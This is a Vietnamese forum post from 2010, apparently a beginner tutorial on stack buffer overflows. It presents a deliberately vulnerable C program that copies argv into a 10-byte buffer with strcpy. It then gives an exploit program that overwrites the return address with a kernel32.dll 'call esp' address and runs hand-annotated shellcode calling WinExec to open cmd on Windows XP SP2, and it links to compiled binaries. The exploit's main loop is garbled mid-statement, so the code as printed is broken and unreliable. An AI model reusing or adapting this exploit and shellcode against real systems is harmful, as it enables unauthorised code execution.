itprofes
Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.

Buffer Overflow

Go down

Buffer Overflow Empty Buffer Overflow

Bài gửi  admin 17/4/2010, 11:01 am

Lỗi buffer overflow đã có nhiều bài viết về nó nên mình chỉ xin nói ngắn gọn thôi, các link tham khảo thêm

http://en.wikipedia.org/wiki/Buffer_overflow

Mình không rành về lý thuyết nên mình sẽ không nói về lý thuyết về buffer overflow là như thế nào.
Đây là 1 đoạn code của chương trình có nguy cơ bị buffer overflow (vuln.c)

Code:
#include
#include
int main(int argc, char ** argv)
{
char buf[10]; // Khai bao 1 mang kieu char co do dai la 10
if(argc == 2)
{
printf("Chuan bi exploit buffer overflow nao\n");
strcpy(buf, argv[1]);
}
else
{
printf("Thay duoc dong nay khong\n");
}
return 0;
}
Trong chương trình có khai báo 1 mảng kiểu char có chiều dài là 10
Sau khi biên dịch ta chạy thử chương trình xem sao
Buffer Overflow Overflow_1
Trên hình ta có thể thấy được khi ta chạy chương trình với tham số truyền vào lớn hơn 10 nó sẽ sinh ra lỗi. Ta thử click vào click here để xem có gì trong đó
Buffer Overflow Overflow_2
Xem hình dưới đây để hiểu rõ hơn
Buffer Overflow Overflow_vuln
Dựa vào hình ảnh trên ta có thể hình dung ra được tham số truyền vào của ta sẽ như sau:

[10 byte ngẫu nhiên] + [4 byte ghi de vao ESP] + [4 byte ghi de vao EBP] + [shellcode]

Giờ ta thử viết 1 chương trình exploit buffer overflow này thử xem sao (expl_vuln.c)

Code:
#include
#include

#define RET 0x7C82385D // Day la cho call esp trong kernel32.dll
#define TRASH 0x41 // 'A' dinh nghi ky tu rac o day ta co the khai bao ky tu nao cung dc

/* shellcode chua 0x33 byte = 55 byte */
char shellcode[]=
"\x55" // PUSH EBP
"\x8B\xEC" // MOV EBP,ESP
"\xFF\x75\xF8" // PUSH DWORD PTR SS:[EBP-8] khai bao 1 bien de luu cmd
"\x60" // PUSHAD
"\x33\xC0" // XOR EAX,EAX
"\x50" // PUSH EAX
"\xC6\x45\xF8\x63" // MOV BYTE PTR SS:[EBP-8],63 'C'
"\xC6\x45\xF9\x6D" // MOV BYTE PTR SS:[EBP-7],6D 'D'
"\xC6\x45\xFA\x64" // MOV BYTE PTR SS:[EBP-6],64 'M'
"\x88\x45\xFB" // MOV BYTE PTR SS:[EBP-5],AL
"\x50" // PUSH EAX
"\x8D\x45\xF8" // LEA EAX,DWORD PTR SS:[EBP-8]
"\x50" // PUSH EAX tuc la push cmd vao stack
"\xB8\x4D\x11\x86\x7C" // MOV EAX,7C86114D WinExec: 0x7c86114d (WindowsXP SP2)
"\xFF\xD0" // CALL EAX call eax (WinExec)
"\xB8\xA2\xCA\x81\x7C" // MOV EAX,7C81CAA2 ExitProcess at 0x7c81caa2 (WindowsXP SP2)
"\xFF\xD0" // CALL EAX call eax (ExitProcess)
"\x61" // POPAD
"\x8F\x45\xF8" // POP DWORD PTR SS:[EBP-8]
"\x8B\xEC" // MOV EBP,ESP
"\x5D"; // POP EBP

int main(int argc,char *argv[])
{
char *bufExe[3];
char buf[100]; // 10 byte + 4 byte ESP + 4 byte EBP + 55 byte shellcode = 73 byte, ta khai bao 100 luon cho chan~

memset(buf, 0, sizeof(buf)); // Ghi de toan bo buf voi byte 0x00
bufExe[0] = "vuln.exe"; // Khai bao ten file ma ta se exploit
bufExe[2] = NULL;

for(int i=0;i<18;i++) address =" call">
Đoạn shellcode trên sẽ run CMD
Giờ ta thử compile và chạy thử xem (lưu ý để 2 file vuln.exe và expl_vuln.exe trong cùng thư mục)

Buffer Overflow Overflow_3

File mà mình đã complie (phải chạy chương trình trên xpsp2)

http://www.ziddu.com/download/9480579/BufferOrverflowsample.zip.html
admin
admin
Thiếu Úy III
Thiếu Úy III

Tổng số bài gửi : 627
Diem : 6549
Thank : 4
Join date : 24/03/2010
Đến từ : Bỉm Sơn - Thanh hóa

https://itprofes.forumvi.com

Về Đầu Trang Go down

Về Đầu Trang

- Similar topics

 
Permissions in this forum:
Bạn không có quyền trả lời bài viết